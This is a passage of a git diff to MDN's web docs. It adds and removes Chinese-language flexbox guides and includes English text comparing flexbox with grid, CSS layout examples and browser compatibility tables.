Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by adding a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

+ +

Flexbox and other layout methods

+ +

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

+ +

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

+ +

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

+ +

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

+ +

Flexbox and Grid Layout

+ +

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

+ +

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

+ +

Flex and grid — what's the difference?

+ +

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing?

+ +

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. The example below has a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

+ +

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

+ +

These examples point to another key difference between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

+ +

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

+ +

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

+ +

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

+ +

Flexbox and display: contents

+ +

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

+ +
+

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

+
+ +

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

+ +

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

+ +

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

+ +

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

+ +
+

Warning: Use of display: contents will also remove the element from the accessibility tree – screen readers will not see what's inside, just the same as if you used display: none. Use of contents should only be for presentational, not content, elements.

+
+ +

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

+ +

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html new file mode 100644 index 0000000000..1b4c283f36 --- /dev/null +++ b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -0,0 +1,131 @@ +--- +title: Flexbox典型用例 +slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

在这个文档中,我们将看一些常见flexbox的用例—这些都是比其他布局更合理的方法。

+ +

为什么选择flexbox?

+ +

在浏览器完美支持的环境中,你选择使用flexbox的原因是你希望把一堆元素不是放在这个方向就是那个方向。 因为在放置元素过程中,你想控制元素在那个方向的维度,或者控制他们彼此之间的间距。flexbox就是为此设计的。. 又可以阅读Relationship of Flexbox to other layout methods来了解更多关于flexbox和CSS Grid布局的区别, 在这篇文章里面,我们会讨论flexbox如何运用与CSS整体布局。

+ +

在现实中,为了便于对齐,我们通常会选择用Flexbox作为替代品,来完成即使用Grid布局更好的情况。一旦盒子对齐(Box Alignment )被盒模型所实行,这种情况就会得到改善。在这个教程中,我们会介绍一些会在现在使用flexbox的用例。

+ +

导航

+ +

导航的一个常见特征,就是使用水平条的样式去呈现一系列元素。这一模式看起来很简单,但是在 flexbox 出现之前却是很难实现的。 它成为一个最简单的 flexbox 示例,可以被被看成是 flexbox 理想的使用场景。

+ +

当我们有一组元素需要水平排列展示,很可能在末尾会多出一些空间。我们需要决定如何去处理这些额外的空间,通常有多种不同的方案。 我们要么在元素外部展示这些空间即使用间距或包裹的方式来分隔开不同元素,要么将空间吸收至元素内部即需要一个方法来允许元素拉伸以占满额外空间。

+ +

在元素外部处理空间分布

+ +

为了让多余的空间分布在多个元素之间或周围,我们使用 flexbox 中相应的对齐属性以及 {{cssxref("justify-content")}} 属性。你可以通过 Aligning Items in a flex container 来阅读更多关于这个专门用来处理主轴(main axis)对齐的属性。

+ +

在下面的示例中,我们让各元素都展示为其自身的尺寸,通过使用 justify-content: space-between 使元素之间拥有相同的空间。你可以通过 space-around 的值来改变空间分布的方式,在浏览器支持的环境下还可以使用 space-evenly。你也可以使用 flex-start 让空间展示在所有元素末尾。使用 flex-end 让空间展示在所有元素之前,  center 可以剧中所有元素。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

让元素自己处理空间分布

+ +

导航的另一个不同模式是让元素自己去决定如何处理额外的空间,而不是将空间分布在它们之间。 在这种情况下,我们使用 {{cssxref("flex")}} 属性来允许各元素彼此成比例的拉伸和收缩,正如 Controlling ratios of flex items along the main axis 所描述。

+ +

如果我想让导航中的所有元素都等宽,会使用 flex: auto,这是 flex: 1 1 auto 的简写形式。所有元素都在它们的 flex-basis 尺寸上进行自动的收缩。这意味着,较长的元素会获得更多的空间。因为 flex-basis 的值被设置为 0,所以所有空间都会被平均分配。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

拆分导航

+ +

另一种在主轴上对齐元素的方式就是使用自动边距。 这种方式将创造出一部分元素左对齐而另一部分右对齐的导航栏设计。

+ +

这儿我们使用在 Using auto margins for main axis alignment 这篇文章中介绍的自动边距技术。所有的元素在主轴上按照弹性盒布局的默认设定 flex-start 进行对齐,同时我们给那个需要右对齐的元素添加 margin-left: auto; 样式。你可以尝试将那个类名转移到其它元素上以改变(向右)分割作用的位置。

+ +

在这个例子里我们也为每个元素启用了 margin 属性来控制元素间的间隔,并给容器添加负边距以保证元素与容器的接洽处没有缝隙。在弹性盒布局实现盒式对齐规范中的 gap 属性前,如果我们想要控制元素的间隔就不得不使用使用边距属性。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

元素居中

+ +

在弹性盒布局到来之前,开发者们曾开玩笑说网页设计中最难的部分是垂直居中。 现在,使用弹性盒布局中的对齐属性,这会变得很简单,如下例所示。

+ +

你可以修改对齐方式,用 flex-start 使元素对齐到交叉轴的开始处或者用 flex-end 使元素对齐到交叉轴的结束处。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

在未来,我们可能不需要为了元素的居中而创建一个弹性盒容器,因为盒对齐属性最终会在块布局中实现。但是现在,假如你想在一个元素中居中另一个,弹性盒布局是一个很好的选择。在上面的例子中,将一个元素放入弹性盒容器里之后,要么在容器中使用 align-items, 要么在元素中使用 align-self 来达到所需的效果。

+ +

绝对底部

+ +

不管你使用的是弹性盒还是网格来进行布局,这些布局方式都只对弹性盒容器或者网格容器的(直接)子元素生效。这也意味着即使你的 content 长度不定,组件在高度上仍会充满整个弹性盒容器或者网格容器。但任何使用常规块布局的方法都会导致 content 内容较少时 footer 上升到 content 下方而不是容器的底部。Two card components showing that the internals of the component do not stretch with the wrapper.

+ +

弹性盒就能解决常规块布局的问题。我们创建一个弹性盒容器, 并启用 {{cssxref("flex-direction")}}: column 。之后我们在 content 部分启用 flex: 1 —— flex: 1 1 0 的缩略形式,这个元素就可以在 flex-basis 为零的基础上伸缩。因为这是唯一一个可以延伸的元素,它会占据所有在弹性盒容器中可以占据的空间,同时将 footer 推至底部。如果你移除例子里的属性 flex 你就会看见 footer 回到 content 底部。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

+ +

媒体对象

+ +

媒体对象是网页设计中的常见模式:这种模式下,一侧具有图片或其他元素,另一侧具有文本。理想情况下,媒体对象应该可以翻转:即把图片从左侧移动到右侧。

+ +

这种模式随处可见,用于评论、以及其他需要显示图片和描述的地方。使用flexbox可以允许包含图片的媒体对象部分从图片中获取其尺寸调整信息,并对媒体对象的主体进行弹性布局,以占用剩余空间。

+ +

在下面的实例中,您可以看到我们的媒体对象。使用对齐属性来将交叉轴上的元素对齐到flex-start,然后为.content flex元素设置为flex: 1。与上面的列布局卡片模式一样,启用flex: 1表示此部分卡片可以延伸。

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

+ +

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

+ +

为避免图片过大,可以在为图片添加{{cssxref("max-width")}}。由于媒体对象那一侧使用的是flexbox的初始值,它可以缩小但不会延伸,且其 flex-basis 值是auto。应用于图片的任何{{cssxref("width")}} 或 max-width将会成为flex-basis。

+ +
.image img {
+  max-width: 100px;
+}
+
+ +

你也可以允许双方按比例延伸和缩小。如果将两边都设置为flex: 1,它们从{{cssxref("flex-basis")}}为0增长和缩小,因此最终会得到两个大小相等的列。你可以将内容作为指南,并将其都设置为 flex: auto,这种情况下,它们将从内容的大小或直接应用于弹性元素的任何大小(例如图片的宽度)延伸和缩小。

+ +
.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

+ +
.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}
+ +

Flipping the media object

+ +

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

+ +

Form controls

+ +

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

+ +

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

+ +

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

+ +

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

+ +

结论

+ +

当了解上面的这些示例时,你已经满怀希望的想象怎么找到最好的方式使用弹性盒子布局实现你想要的结果。大部分情况下,你拥有不止一种选择。将可以变化的内容和不能变化的混合在一起,通过内容来决定他们的大小或者允许弹性布局设置按比例分配空间。要因地制宜,对症下药。

+ +

先考虑一下用什么方法展示你的内容比较好,然后在了解怎么用弹性布局或其他布局方法实现你的想法。

diff --git a/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html deleted file mode 100644 index d50cf7582f..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: 使用 CSS 弹性盒子 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes -tags: - - CSS - - CSS Flexible Boxes - - Flex - - Web - - flexbox - - 弹性 - - 弹性容器 - - 弹性盒子 - - 弹性项目 - - 指南 - - 盒子模型 - - 范例 - - 进阶 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox -translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes ---- -
{{CSSRef}}
- -

CSS3 弹性盒子(Flexible BoxFlexbox),是一种用于在页面上布置元素的布局模式使得当页面布局必须适应不同的屏幕尺寸和不同的显示设备时,元素可预测地运行。对于许多应用程序,弹性盒子模型提供了对块模型的改进,因为它不使用浮动,flex容器的边缘也不会与其内容的边缘折叠。

- -

许多设计师会发现弹性盒子模型更易于使用。弹性盒子中的子元素可以在各个方向上进行布局,并且能以弹性尺寸来适应显示空间。由于元素的显示顺序可以与它们在源代码中的顺序无关,定位子元素将变得更容易,并且能够用更简单清晰的代码来完成复杂的布局。这种无关性是仅限制于视觉呈现上的,语言顺序以及基于源代码顺序的导航均不受影响。

- -
注意: 虽然 CSS 弹性盒子布局规范 还处于最终征求意见稿 (Last Call Working Draft)阶段(参见最新编辑草案),并非所有浏览器都实现了弹性盒子的所有功能。但,这么说吧,现在全线产品对弹性盒子都有良好支持。最新的兼容性状况可以查看每个具体属性的兼容性表格获取。
- -

弹性盒布局概念

- -

在定义方面来说,弹性布局是指通过调整其内元素的宽高,从而在任何显示设备上实现对可用显示空间最佳填充的能力。弹性容器扩展其内元素来填充可用空间,或将其收缩来避免溢出。

- -

块级布局更侧重于垂直方向、行内布局更侧重于水平方向,与此相对的,弹性盒子布局算法是方向无关的。虽然块级布局对于单独一个页面来说是行之有效的,但其仍缺乏足够的定义来支持那些必须随用户代理(user agent)不同或设备方向从水平转为垂直等各种变化而变换方向、调整大小、拉伸、收缩的应用程序组件。 弹性盒子布局主要适用于应用程序的组件及小规模的布局,而(新兴的)栅格布局则针对大规模的布局。这二者都是 CSS 工作组为在不同用户代理、不同书写模式和其他灵活性要求下的网页应用程序有更好的互操作性而做出的更广泛的努力的一部分。

- -

弹性盒布局相关词汇

- -

关于弹性盒子的讨论已经从诸如水平/行内轴和垂直/块级轴这些术语中解放出来,与此同时,需要有一套新的术语来正确描述此模型。在学习下面的词汇项目时请对照下图。图中是一个 flex-direction 属性为 row的弹性容器,意味着其内的弹性项目将根据既定书写模式沿主轴水平排列,其方向为元素的文本流方向,在这个例子里,为从左到右。

- -

弹性布局相关名词

- -
-
弹性容器(Flex container)
-
包含着弹性项目的父元素。通过设置 {{Cssxref("display")}} 属性的值为 flexinline-flex 来定义弹性容器。
-
弹性项目(Flex item)
-
-

弹性容器的每个子元素都称为弹性项目。弹性容器直接包含的文本将被包覆成匿名弹性单元。

-
-
轴(Axis)
-
-

每个弹性框布局包含两个轴。弹性项目沿其依次排列的那根轴称为主轴(main axis)。垂直于主轴的那根轴称为侧轴(cross axis)

- -
    -
  • flex-direction 确立主轴。
  • -
  • justify-content 定义了在当前行上,弹性项目沿主轴如何排布。
  • -
  • align-items 定义了在当前行上,弹性项目沿侧轴默认如何排布。
  • -
  • align-self 定义了单个弹性项目在侧轴上应当如何对齐,这个定义会覆盖由 align-items 所确立的默认值。
  • -
-
-
方向(Direction)
-
-

弹性容器的主轴起点(main start)/主轴终点(main end)侧轴起点(cross start)/侧轴终点(cross end)描述了弹性项目排布的起点与终点。它们具体取决于弹性容器的主轴与侧轴中,由 writing-mode 确立的方向(从左到右、从右到左,等等)。

- -
    -
  • order 属性将元素与序号关联起来,以此决定哪些元素先出现。
  • -
  • flex-flow 属性是 flex-directionflex-wrap 属性的简写,决定弹性项目如何排布。
  • -
-
-
行(Line)
-
-

根据 flex-wrap 属性,弹性项目可以排布在单个行或者多个行中。此属性控制侧轴的方向和新行排列的方向。

-
-
尺寸(Dimension)
-
-

根据弹性容器的主轴与侧轴,弹性项目的宽和高中,对应主轴的称为主轴尺寸(main size) ,对应侧轴的称为 侧轴尺寸(cross size)

- - -
-
- -

定义一个弹性盒子

- -

为要使用此样式的元素指派 CSS,需按以下方式设置 display 属性:

- -
display : flex
- -

或者

- -
display : inline-flex
- -

这样做将元素定义为弹性容器,其子元素则成为弹性项目。值 flex 使弹性容器成为块级元素。值 inline-flex 使弹性容器成为单个不可分的行内级元素。

- -
注意:厂商前缀标记会附加给 display 属性值,而不是加给 display 属性本身。例如:display : -webkit-flex
- -

弹性项目须知

- -

弹性容器直接包含的文本将自动包覆成匿名弹性项目。不过,一个只包含一系列空白符(如一堆空格或制表符等)的匿名弹性项目不会被渲染,就如同对其指派 display: none

- -

对于弹性容器的绝对定位子元素来说,其静态位置参照弹性容器的内容框的主起始角确定,而后依此完成此元素的定位。

- -

相邻的弹性元素其外边距不会互相合并。使用 auto 外边距可以吸收掉水平或垂直方向上的额外空间,这可以用于对齐或分隔相邻的弹性项目。更多细节请参考 W3C 弹性框布局模型规范中的 Aligning with 'auto' margins

- -

不像 CSS 中的其他对齐方法,弹性框的对齐属性将进行“真正的”居中对齐。这意味着即使弹性条目溢出了弹性容器,它依然保持居中。不过这在某些时候可能会有问题。如果溢出超过了页面的上边缘或左边缘(在从左到右的语言中,比如英语;在诸如阿拉伯语这样从右到左的语言中这个问题更会出现在右边缘),则虽然那些地方确实有内容,却无法滚动到那些位置。在未来的发布版本里,对齐属性将会有所扩展,使其包含有“安全”选项。目前,如果操心这点,可以改用外边距来达成居中效果,因为外边距会用比较“安全”的方式来响应变化,出现溢出时将停止居中。对这种需要居中的弹性项目,不使用 align- 属性,而使用自动外边距就能解决这个问题。对弹性容器中第一个和最后一个弹性项目的外侧边缘应用,也可以使用自动外边距来替代 justify- 属性。自动外边距会自动伸缩来占满剩余空间,当有剩余空间存在时弹性项目将会居中,如果没有则切换至常规对齐方式。不过很不幸,如果尝试在多行的弹性框中用基于外边距的居中方法来替代 justify-content,就必须对每一行的第一个和最后一个弹性项目应用外边距。此时除非能够事先预测每一行都结束于哪个元素,否则就不能愉快的在主轴方向上用基于外边距的居中方法来替代 justify-content 属性了。

- -

再强调一遍,元素的显示顺序与它们在源代码中的顺序无关,这种无关性只影响视觉呈现,语音顺序以及基于源代码顺序的导航均不受影响。{{cssxref("order")}} 属性并不影响语音和导航的次序。因此开发者们必须小心,合理地安排元素在源代码中的顺序,以免破坏文档的可访问性。

- -

弹性盒子相关属性

- -

不影响弹性盒子的属性

- -

由于弹性盒子使用了不同的布局算法,某些属性用在弹性容器上没有意义:

- - - -

示例

- -

基本的弹性布局示例

- -

这个基本的示例展示了如何对元素应用弹性布局,以及在弹性布局状态下相邻元素的行为方式。

- -
<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <style>
-
-   .flex
-   {
-      /* 基本样式 */
-      width: 350px;
-      height: 200px;
-      border: 1px solid #555;
-      font: 14px Arial;
-
-      /*  建立弹性框 */
-      display: -webkit-flex;
-      -webkit-flex-direction: row;
-
-      display: flex;
-      flex-direction: row;
-   }
-
-   .flex > div
-   {
-      -webkit-flex: 1 1 auto;
-      flex: 1 1 auto;
-
-      width: 30px; /* 让过渡表现良好。(从/到"width:auto"的过渡
-                      至少在 Gecko 和 Webkit 上是有 bug 的。
-                      更多信息参见 http://bugzil.la/731886 ) */
-
-      -webkit-transition: width 0.7s ease-out;
-      transition: width 0.7s ease-out;
-   }
-
-   /* colors */
-   .flex > div:nth-child(1){ background : #009246; }
-   .flex > div:nth-child(2){ background : #F1F2F1; }
-   .flex > div:nth-child(3){ background : #CE2B37; }
-
-   .flex > div:hover
-   {
-        width: 200px;
-   }
-
-   </style>
-
- </head>
- <body>
-  <p>Flexbox nuovo</p>
-  <div class="flex">
-    <div>uno</div>
-    <div>due</div>
-    <div>tre</div>
-  </div>
- </body>
-</html>
- -

圣杯布局示例

- -

此示例展示了弹性盒子根据不同屏幕分辨率动态改变布局的能力。下图说明了这种转换。

- -

HolyGrailLayout.png

- -

这里展示的正是针对浏览器窗口的页面布局必须为智能手机窗口优化的场景。不仅元素的尺寸需要缩减,其呈现顺序也需要改变。弹性盒子让这变得很简单。

- -
<!DOCTYPE html>
-<html lang="en">
-  <head>
-    <style>
-
-  body {
-   font: 24px Helvetica;
-   background: #999999;
-  }
-
-  #main {
-   min-height: 800px;
-   margin: 0px;
-   padding: 0px;
-   display: -webkit-flex;
-   display:         flex;
-   -webkit-flex-flow: row;
-           flex-flow: row;
-   }
-
-  #main > article {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #cccc33;
-   border-radius: 7pt;
-   background: #dddd88;
-   -webkit-flex: 3 1 60%;
-           flex: 3 1 60%;
-   -webkit-order: 2;
-           order: 2;
-   }
-
-  #main > nav {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #8888bb;
-   border-radius: 7pt;
-   background: #ccccff;
-   -webkit-flex: 1 6 20%;
-           flex: 1 6 20%;
-   -webkit-order: 1;
-           order: 1;
-   }
-
-  #main > aside {
-   margin: 4px;
-   padding: 5px;
-   border: 1px solid #8888bb;
-   border-radius: 7pt;
-   background: #ccccff;
-   -webkit-flex: 1 6 20%;
-           flex: 1 6 20%;
-   -webkit-order: 3;
-           order: 3;
-   }
-
-  header, footer {
-   display: block;
-   margin: 4px;
-   padding: 5px;
-   min-height: 100px;
-   border: 1px solid #eebb55;
-   border-radius: 7pt;
-   background: #ffeebb;
-   }
-
-  /* 窄到已不足以支持三栏 */
-  @media all and (max-width: 640px) {
-
-   #main, #page {
-    -webkit-flex-flow: column;
-            flex-direction: column;
-   }
-
-   #main > article, #main > nav, #main > aside {
-    /* 恢复到文档内的自然顺序 */
-    -webkit-order: 0;
-            order: 0;
-   }
-
-   #main > nav, #main > aside, header, footer {
-    min-height: 50px;
-    max-height: 50px;
-   }
-  }
-
- </style>
-  </head>
-  <body>
- <header>header</header>
- <div id='main'>
-    <article>article</article>
-    <nav>nav</nav>
-    <aside>aside</aside>
- </div>
- <footer>footer</footer>
-  </body>
-</html>
- -

试验场地

- -

有几个在线弹性盒子试验场地可供进行各种实验:

- - - -

务必牢记

- -

描述弹性项目如何排布的算法有时会极其棘手。在使用弹性盒子进行设计时,请考虑以下几点,以免碰到不好的意料外状况。

- -

弹性盒子的排布与书写模式是一致的,这意味着排布的主轴起点主轴终点根据的是开始结束的位置。

- -

侧轴起点侧轴终点依赖于开始前面(before)的位置定义,而这个“前面”依赖于 direction 的值。

- -

只要 break- 属性的设置值允许,在弹性框布局中是可以存在分页的。CSS3 中的 break-afterbreak-beforebreak-inside,以及 CSS 2.1 中的 page-break-beforepage-break-afterpage-break-inside 属性在弹性容器上、弹性项目上和弹性项目内均可以使用。

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
基础支持(单行弹性框){{CompatGeckoDesktop("18.0")}}[6]{{property_prefix("-moz")}}[2]
- {{CompatGeckoDesktop("22.0")}}
21.0{{property_prefix("-webkit")}}
- 29.0
11[3]12.10{{property_prefix("-webkit")}}[5]6.1{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoDesktop("28.0")}}21.0{{property_prefix("-webkit")}}
- 29.0
11[3]12.10[5]
- 15 {{property_prefix("-webkit")}}
6.1{{property_prefix("-webkit")}}[1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
特性Firefox Mobile (Gecko)Firefox OSAndroidIE PhoneOpera MobileSafari Mobile
基础支持(单行弹性框){{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}[2]
- {{CompatGeckoMobile("22.0")}}
-

1.0{{property_prefix("-moz")}}[2]
- 1.1

-
2.1{{property_prefix("-webkit")}}[4]
- 4.4
1112.10[5]
- 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoMobile("28.0")}}1.32.1{{property_prefix("-webkit")}}[4]
- 4.4
1112.10[5]
- 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
-
- -

[1] Safari 在版本 6.0 (iOS.1)以前支持的是规范的一个与现有版本不兼容的旧版草案。Safari 6.1(以及 iOS 7 上的 Safari)已更新为支持最终版本。

- -

[2] 直到 Firefox 22 为止,用户必须修改 about:config 设置,将 layout.css.flexbox.enabled 改为 true 才能激活对弹性盒子的支持。从 Firefox 22 到 Firefox 27,此设置项默认为 true,而 Firefox 28 中取消了此设置项。

- -

[3] Internet Explorer 10 支持的是规范的一个与现有版本不兼容的旧版草案;Internet Explorer 11 已更新为 支持最终版本。

- -

[4] Android 浏览器直到 4.3 为止支持的是规范的一个与现有版本不兼容的旧版草案。Android 4.4 已更新为支持最终版本。

- -

[5] 在 Opera 12.10 的弹性盒子初始实现中是没有前缀的,但 Opera 版本 15 到 16 和 Opera Mobile 的 15 到 19 需要 {{property_prefix("-webkit")}}. 在 Opera 17 及 Opera Mobile 24 中再次取消了前缀。

- -

[6] 直到 Firefox 29 为止,在弹性项目上指定 visibility: collapse 将使其被视为 display: none 处理,而预期的行为是被视为 visibility: hidden。建议的处理方式是在弹性项目上使用 visibility:hidden,这样其行为应当与指派了 visibility:collapse 一致。更多信息,参考 {{bug(783470)}}.

- -

参见

- - diff --git a/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html b/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html deleted file mode 100644 index 9ea8045d96..0000000000 --- a/files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: 使用flexbox来布局web应用 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications -tags: - - CSS - - 弹性盒子 -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications ---- -

{{CSSRef}}

- -

使用 flexbox 可以帮助你设计出引人注目的布局,并且在pc端或移动端能够很好的缩放。告别使用浮动的 {{HTMLElement("div")}} 元素、绝对定位 和一些JavaScript hacks, 使用仅仅几行 CSS 就可以构建出水平或垂直方向的布局。下面是一些基本的使用案例:

- - - -

这篇文章只囊括了在不使用前缀就可以支持现行标准的浏览器下如何使用 flexbox 的相关信息。 想了解更多关于带有供应商前缀的老版本浏览器的资料,请点击这里 the more general guide to using CSS flexible boxes.

- -

基础

- -

如果你想让元素呈水平或柱状,或如果你想让元素垂直布局,在任何 {{HTMLElement("div")}} 元素中,通过设置 {{cssxref("display")}} 属性为 flex 来使用flexbox,然后设置它任意一行的 {{cssxref("flex-flow")}} 属性, 你就可以在其中尽情的创建元素了。如果你正在使用水平的 flexbox,并想让你的内容垂直换行,只需指定值为wrap。

- -

接下来,只要你想让某个元素使用弹性布局,就为它添加 {{cssxref("flex")}} 属性。一般情况下,你将会使用下列三个值之一:

- - - -

有可能还有使用方法,但是这应该囊括了最基本的使用案例。让我们用几个例子来看看如何使用。

- -

示例 1: 在页面中把一个元素居中

- -

在这个例子中,要做的最简单的事情就是创建两个 flexbox,其中一个在另一个中。每个 flexbox 有三个元素:其中两个当作中间元素的垫子,另一个就是中间元素本身。

- -

CSS 内容

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.horizontal-box {
-  display: flex;
-  flex-flow: row;
-}
-.spacer {
